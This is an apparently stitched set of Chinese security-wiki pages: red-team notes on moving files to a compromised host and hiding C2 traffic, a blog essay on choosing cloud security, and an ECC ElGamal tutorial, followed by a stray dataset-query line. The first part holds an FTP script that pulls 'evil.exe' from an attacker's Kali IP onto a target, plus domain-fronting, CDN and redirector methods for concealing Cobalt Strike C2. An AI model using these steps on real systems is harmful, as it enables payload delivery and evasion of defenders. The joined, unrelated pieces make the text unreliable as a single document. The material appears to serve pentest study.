/etc/init.d/pure-ftpd restart
./setup-ftp(输入要设置的密码)
```
攻击端使用 python 起 ftp:
```
pip3 install pyftpdlib
cd /tmp
python3 -m pyftpdlib -p 8888
```
此时目标机连接的时候,用户名为 anonymous,密码随意
- **目标机**
目标机的远程 shell 上运行
```bash
echo open <kali-ip> 21> ftp.txt
echo username>> ftp.txt
echo password>> ftp.txt
echo bin >> ftp.txt
echo GET evil.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
```
目标机上传文件(连接状态):
```bash
ftp> put target.exe(如果是 windows 且文件在其他盘,需使用绝对路径)
```
关闭 ftp:
```bash
/etc/init.d/pure-ftpd stop
```
windows下
```
ftp
username
password
get file
exit 或者 bye
```
```
ftp -s:test.txt
```
### Linux lol
- [Linux LOL](../OS安全/Linux安全.md#lol)
### Win lol
- [Windows LOL](../OS安全/Windows安全.md#lol)
---
## 隐匿技术
### 流量隐藏技术
**相关文章**
- [强制通过VPN上网,VPN断线就断网](https://www.t00ls.net/articles-38739.html)
- [匿名信使:木马隐蔽通信浅谈](https://mp.weixin.qq.com/s/X_qPqmpx6uGAs6Y84rV8Jg)
#### 端口转发
- [端口转发实验](./实验/端口转发实验.md)
#### 隧道
- [隧道实验](./实验/隧道实验.md)
#### 代理
- [代理实验](./实验/代理实验.md)
---
### C2隐藏技术
**相关工具**
- [wikiZ/RedGuard](https://github.com/wikiZ/RedGuard) - C2设施前置流量控制技术
- [mgeeky/RedWarden](https://github.com/mgeeky/RedWarden) - Cobalt Strike C2 Reverse proxy that fends off Blue Teams, AVs, EDRs, scanners through packet inspection and malleable profile correlation
- https://www.freebuf.com/articles/network/277694.html
**相关文章**
- [利用CDN、域前置、重定向三种技术隐藏C2的区别](https://blog.csdn.net/qq_41874930/article/details/109008708)
#### CDN
让 cdn 转发合法的 http 或者 https 流量来达到隐藏的目的。
受害主机上只会有跟 cdn 的 ip 通信的流量,不会有跟真实 C2 通信的流量,可以保护 C2 的 ip,但是域名还是会暴露。
**相关文章**
- [反溯源-cs和msf域名上线](https://xz.aliyun.com/t/5728)
- [使用CDN隐藏c2流量](http://blog.sern.site:8000/2020/08/03/%E4%BD%BF%E7%94%A8CDN%E9%9A%90%E8%97%8Fc2%E6%B5%81%E9%87%8F/)
**实验**
- [CDN+C2实验](./实验/C2实验.md#CDN)
#### 域前置
`Domain fronting`
同一个 cdn 厂商下倘若有两个域名 a.com,b.com,这两个主机都是被 ip 为 1.1.1.1 的 cdn 进行加速的。这时候我们使用 curl 命令访问第一个 a.com 并将 host 名改为 b.com 这时候,实际访问的是 b.com 的内容。而一般的监测机制是不会检测 host 头的。
```bash
curl 1.1.1.1 -v # 无内容
curl 1.1.1.1 -H "Host: www.ffffffff0x.com" -v # 访问到 cdn 下站点的内容
```
通过一个高信任域名隐藏自己的真实域名与 ip,且受害主机上只有跟 cdn 通信的流量。
**相关文章**
- [域前置技术的原理与CS上的实现](https://blog.csdn.net/qq_41874930/article/details/107742843)
- [【安全研究】Domain fronting域名前置网络攻击技术](https://mp.weixin.qq.com/s/aK3-Kofj7HdJ6BKhO3GVZA)
- [域前置之“中外差异”](https://www.freebuf.com/articles/web/271046.html)
#### 重定向
两台 vps,一台做重定向,一台是真正的 C2,而受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到 C2 控制端主机,对于其他流量可以自定义设置处理方法,一般是采用重定向到一些高信誉域名上例如百度等。
受害者上只会有与重定向机器之间的流量,不会有与真实 c2 服务器的流量,重定向服务器会将非 beacon 的请求重定向到一些高信誉域名上,达到迷惑的目的,不过如果受害者 ban 掉了重定向机器的 ip,对攻击者的损失也是很大的。
**相关文章**
- [利用apache mod_rewrite模块实现重定向技术来隐藏CS的teamserver的原理与实现](https://shanfenglan.blog.csdn.net/article/details/107789018)
- [cobaltstrike配置nginx反向代理](https://mp.weixin.qq.com/s/OK0m9lln5-XjHHkWLwMxHg)
- [Cobalt Strike with CloudFlare](https://mp.weixin.qq.com/s/d6hu8YE-SGy-eruIWOwbXg)
- [博客使用Cloudflare和Nginx的相关配置](https://jayshao.com/cloudflare-nginx-ssl/)
**相关项目**
- [cedowens/Mod_Rewrite_Automation](https://github.com/cedowens/Mod_Rewrite_Automation) - Scripts to automate standing up apache2 with mod_rewrite in front of C2 servers.
- [threatexpress/cs2modrewrite](https://github.com/threatexpress/cs2modrewrite) - Convert Cobalt Strike profiles to modrewrite scripts
**实验**
- [重定向+C2实验](./实验/C2实验.md#重定向)
---
### 侧信道
**相关文章**
- [Bypassing Little Snitch Firewall with Empty TCP Packets](https://rhinosecuritylabs.com/network-security/bypassing-little-snitch-firewall/)
**相关工具**
- **PTP-RAT**
- https://www.pentestpartners.com/security-blog/exfiltration-by-encoding-data-in-pixel-colour-values/
- https://github.com/pentestpartners/PTP-RAT
---
## 权限提升
- [权限提升](./权限提升.md)
---
## 权限维持
- [权限维持](./权限维持.md)
---
## windows域
**域渗透相关文章(总结类)**
- [我所了解的内网渗透——内网渗透知识大总结](https://www.anquanke.com/post/id/92646)
**相关工具**
- [lele8/mscan](https://github.com/lele8/mscan)
- [FuzzySecurity/StandIn](https://github.com/FuzzySecurity/StandIn) - StandIn is a small .NET35/45 AD post-exploitation toolkit
### 域基础知识
**域认证**
- 关于 windows 域认证的基本知识点可见笔记 [认证](../../../../Integrated/Windows/笔记/认证.md#域认证)
**域环境**
- 关于 windows 域环境组成的基本知识点可见笔记 [认证](../../../../Integrated/Windows/笔记/域.md)
**域环境搭建**
- 关于 windows 域认证的基本知识点可见笔记 [认证](../../../../Integrated/Windows/实验/Windows域搭建)
### 域内信息收集
- [域内信息收集](../信息收集/信息收集.md#域信息)
### Exchange
- [Exchange](./实验/Exchange.md)
### 认证
- [认证](../OS安全/Windows安全.md#认证)
### 跨域
|
sec-knowleage
|
---
title: 为什么我选择云安全
---
<center><h1>聊聊我为什么选择云安全</h1></center>
---
Hi,你好,我是 TeamsSix,这段时间一直有个想法埋在心里,就是想和大家聊聊我为什么会选择云安全这个方向,前段时间一直在处理 CF 发版的事情,这篇文章就一直被搁置着没发。
现在 CF 已经发布了 0.5.0 版本,在这个版本中增加了不少新功能,具体的可以看这篇文章的介绍:[CF 云环境利用框架现已更新至 0.5.0 版本](http://wiki.teamssix.com/CF/Changelog/v0_5_0.html),这里就不再赘述了,那么关于我为什么选择云安全这个方向还要从 2021 年底说起。
在 2021 年底的时候,当时的我在做的是偏向于内网攻防方面的工作,我也在我的公众号、博客里累积发过 4 万多字的内网学习笔记,学习记录这些笔记我花了一年的时间。那么下一步的学习计划呢,我是应该了解学习代码审计、免杀还是别的什么呢?那时的我试着学习了一两个月的代码审计,我渐渐意识到,按照现在的进度,我恐怕要花费二年三年甚至更长时间才能有行业里的代码审计大牛们比如狼组的 Y4tacker 师傅的水平。当然如果只是想有个平庸的水平,那自然不用花费太多的时间,但我不希望自己只是个平庸的人。
记得在多年的某一天,当时我跟几个朋友和老师在一起聊天,当时老师问我们,你们觉着是选择重要还是努力重要,有人说是努力有人说是选择,当时我的回答是选择,事实也确实是如此:选择大于努力。
2022 年初的时候,当时公司的老板和领导跟我们说,后面要往云安全方向发展,到今天,我依然佩服他们的决定与眼界。
根据 Statista 的数据,2023 年预计公有云市场将达到 5000 亿美元,2023 至 2027 年将有 13.81% 的年增长率,根据经济学里的 70 规则,不难计算出,这个增长率意味着每 5 年就会翻一番,也就是说到 2028 年可能这个市场就会到万亿的规模。当然这只是很简单的估算,以后也不一定真的会是这样,但有一点可以确定的是,这个市场目前正在快速扩张中,国内外都是如此。
<img width="1000" src="/img/1688515083.png">
由于安全的伴生特性,云计算市场的发展,大概率会带动云安全的发展,也会带动攻防场景的转移。以前大家都是打域控,以后除了要会打域控还要会打云管,从我个人以及身边人的反馈也发现,在现在的攻防场景中,遇到云的情况已经越来越多了。
平时打内网的时候,有些人会有个习惯,就是遇到云主机或者云环境,直接不打或者不继续深入,因为这部份资产的“性价比”没那么高。如果是只专注于打那些有传统内网的,现阶段或许还行,但以后随着企业不断上云,再继续采取这种策略就会有些吃亏了,而且从去年开始,大家开始越来越注重数据的泄露问题。企业上云后,数据也会在云上,如果此时再不关注云上的风险,那最后的攻防成绩可能就真的不如别人好看了。
跟着时代的节奏走会走的更顺利,选择个人的发展方向也是如此,现在企业的上云带来云计算市场的火热,因而带动了云安全的发展;以后如果那天大家不满足上云了,改成直接上太空了,比云还高(开个玩笑),到时候就会带来太空安全的发展。
我觉得个人方向的选择应该要基于一个长远的眼光去考虑,现在云安全在国内其实还处于刚起步的阶段,但以后绝对是一个会被越来越多人提及、重视的方向。
我在之前在学习内网的时候,看到一些文章都是五年前甚至十年前的文章,有的工具也都是十年前的工具,我所走的就是他们走过的路,不需要自己开路,这样能省事儿不少。
现在国内的云安全在我看来其实还是一个需要开路的状态,走过这条路的人现在还不是很多,如果我现在去开路,也许以后走在云安全这条路上的后来者们,就会发现我所走过的足迹、走过我所搭好的桥。
那时他的心情也许就像是在小岛秀夫的《死亡搁浅》中,路过一条河流、来到一处悬崖时,发现已经有人搭好了一座桥,他不用再趟过河流、不用耗费材料去费劲搭桥,可以很轻松的借助前人的工作到达对岸。
<img width="1000" src="/img/1688515093.png">
喜马拉雅资本创始人李录在《文明、现代化、价值投资与中国》中提到一个概念:知识思想交换时出现的情况是 1 + 1 > 4,不同的思想进行交换的时候,交换双方不仅保留了自己的思想,获得了对方的思想,而且在交流中还碰撞出火花,创造出全新的思想。
在我看来技术的交流也属于知识思想的交换,技术在交流的时候,其实也是个技术交换的过程,在交换的过程中,不仅保留了对方的技术,也许还会碰撞出新的火花。但这一切有个前提,就是需要有人愿意交流技术,有一个可以交流技术的地方,这也是我搭建开源云安全文库 T Wiki ([wiki.teamssix.com](https://wiki.teamssix.com/)) 的原因之一。
我把我自己学习云安全过程中的笔记以及一些研究成果放到 T Wiki 里,并且允许别人一起补充这个文库,然后你就会发现,其实不是没人愿意交流,而是没有地方交流,那么此时就需要有人去创造一个交流的环境与氛围,最后就是一个 1 + 1 > 4 的效果。
<img width="1000" src="/img/1688515114.png">
前面说到了选择大于努力,我再加上后半句:格局大于能力。
我想如果学习、从事云安全的人多了,我们每一个身处在其中的人都会变得更好。只有一家店的美食街和有很多家店的美食街的人流量是不同的,随着更多的人加入,我们每个人都会变得更好。
这一年来,我开始发现接触、学习云安全的人越来越多了,今年 KCon 的议题我注意到有很多的云安全方向的议题,我觉着这是件好事。也许有人会觉着,人多了就卷了,人多了竞争就加剧了,但目前我看到的现象却不是这样,至少不全是这样。
起初我打算搞个知识星球,但后来我意识到我的东西都是开源的,任何人都能看到,也就没必要搞星球了,但我还是希望有一个能和更多人交流云安全的地方,于是就建了一个云安全交流群。平时在群里,大家可以一起交流云安全方面的东西,这一年来,群里一直还是蛮活跃的,应该也是国内为数不多的比较活跃的技术交流群了。
关于这个群我只会创建这一个,为了保证有新人能加入,所以这个群会定期清理长期不活跃的人,如果你想加入,可以找我,我给你拉进去。在我的微信公众号:TeamsSix 中回复:“交个朋友” 可以加我的微信。
这一年里,在群里我看到的是大家都在互相交流技术、讨论一些云上的攻防手法、偶尔也会吐吐槽等等。这一年来也不断有人为 T Wiki 补充新的东西,也有不少人为 CF 提交 PR,现在 CF 项目已经有了 2k 的 Stars,Awesome Cloud Security 也有了 1k 的 Stars,我注意到国内云安全的研究文章、云上攻防的实战案例文章也在不断增多,也有不少文章引用了我们在去年公开的一些云上攻防手法。
这一切的一切无不在表示着,1 + 1 > 4 的过程正在不断循环着,一个人的能力是有限的,但一个整体的能力是无限的,随着国内的云安全整体水平不断提升,我相信处于整体中的我们每一个人都能受益,我想我所做的这些事情,或许也为国内云安全发展贡献了自己的一份微薄的力量。
<img width="1000" src="/img/1688515143.png">
以前上学的时候,班主任、老师们总会说,我们的中考成绩、高考成绩取决于偏科的那门成绩。但人这一辈子的成就与高度也是取决于“偏科的那门成绩”吗?我想肯定不是的,一个人所能达到的高度应该是取决于他的长板而不是短板。
在网络安全这个行业里也是一样,一个人的水平高低不是取决于你不会的东西,而是取决于你会的东西,在一个方向上的高度就足以决定在整个行业里的高度,我想云安全就是现阶段的自己能从事的最好的一个方向,也是性价比最高的一个方向。
壹心理联合投资人、心理学作家黄启团在他的几本书里,都反复提到了一句话:人生没有极限,除非你自我设限。这句话让我想到了邓紫棋的一首歌《天空没有极限》里唱的:天空没有极限,人生未来无边。
我们每一个人的人生都是无限的,天空是广阔无边的,我的微信签名和博客首页 ([teamssix.com](https://teamssix.com/)) 有一句话:I can do all this through him who gives me strength,其实所表达的也都是一个意思。
<img width="1000" src="/img/1688515154.png">
虽然说选择大于努力,但不代表努力不重要,其实现在的自己对云中的一些内容也还知之甚少,有很多需要学习的地方。天空是无限的,我不知道我以后能飞到什么高度,但我想应该尽自己所能,在现在这个年龄中不断的提升自己,毕竟有了方向后,剩下的就是努力了。
最后,感谢你看到这里,也感谢我身边所遇到的每一个人。
感谢为 T Wiki 补充的每一个人,感谢访问阅读过 T Wiki 的每一个人;感谢为 Awesome Cloud Security 项目补充的每一个人,感谢阅读过 Awesome Cloud Security 的每一个人;感谢为 CF 项目提交 PR 的每一个人,感谢使用过 CF 的每一个人 ……
因为你,使我做的这些事情有了价值,希望我所留下的这些足迹能帮助到你。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023 年 7 月 5 日"
}
}
</script>
|
sec-knowleage
|
### ECC概述
ECC 全称为椭圆曲线加密,EllipseCurve Cryptography,是一种基于椭圆曲线数学的公钥密码。与传统的基于大质数因子分解困难性的加密方法不同,ECC依赖于解决椭圆曲线离散对数问题的困难性。它的优势主要在于相对于其它方法,它可以在使用较短密钥长度的同时保持相同的密码强度。目前椭圆曲线主要采用的有限域有
- 以素数为模的整数域GF(p),通常在通用处理器上更为有效。
- 特征为 2 的伽罗华域GF(2^m),可以设计专门的硬件。
### ECC基本知识
我们首先来了解一下有限域上的椭圆曲线,有限域上的椭圆曲线是指在椭圆曲线的定义式
$y^2+axy+by=x^3+cx^2+dx+e$
中所有的系数都是在某个有限域GF(p)中的元素,其中p为一个大素数。
当然,并不是所有的椭圆曲线都适合于加密,最为常用的方程如下
$y^2=x^3+ax+b$
其中$4a^3+27b^2 \bmod p \neq 0$
我们称该方程的所有解(x,y),($x\in Fp , y \in Fp$),以及一个称为“无穷远点”(O)组成的集合为定义在Fp上的一个椭圆曲线,记为E(Fp)。
一般定义椭圆曲线密码需要以下条件
假设E(Fp)对于点的运算$\oplus$ 形成一个able群(交换群,逆元存在,封闭性等),设$p\in E(Fq)$ ,且满足下列条件的t很大
$p \oplus p \oplus ... \oplus p=O$
其中共有t个p参与运算。这里我们称t为p的周期。此外,对于$Q\in E(Fq)$ ,定有某个正整数m使得下列式子成立,定义$m=log_pq$
$Q=m\cdot p =p \oplus p \oplus ... \oplus p$ (m个p参与运算)
此外,假设G是该$E_q (a,b)$ 的生成元,即可以生成其中的所有元素,其阶为满足$nG=O$ 的最小正整数n。
### ECC中的ElGamal密钥生成
用户A先选择一条椭圆曲线$E_q (a,b)$ ,然后选择其上的一个生成元G,假设其阶为n,之后再选择一个正整数$n_a$作为密钥,计算$P_a=n_aG$。
其中,$E_q(a,b), q,G$都会被公开。
公钥为$P_a$,私钥为$n_a $。
### ECC中的ElGamal加密
用户B在向用户A发送消息m,这里假设消息m已经被编码为椭圆曲线上的点,其加密步骤如下
1. 查询用户A的公钥$E_q(a,b), q, P_a,G$ 。
2. 在(1,q-1) 的区间内选择随机数k 。
3. 根据A的公钥计算点$(x_1,y_1)=kG$ 。
4. 计算点$(x_2,y_2)=kP_a$ ,如果为O,则从第二步重新开始。
5. 计算$C=m+(x_2,y_2)$
6. 将$((x_1,y_1),C)$ 发送给A。
### ECC中的ElGamal解密
解密步骤如下
1. 利用私钥计算点$n_a(x_1,y_1)=n_akG=kP_a=(x_2,y_2)$。
2. 计算消息$m=C-(x_2,y_2)$ 。
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.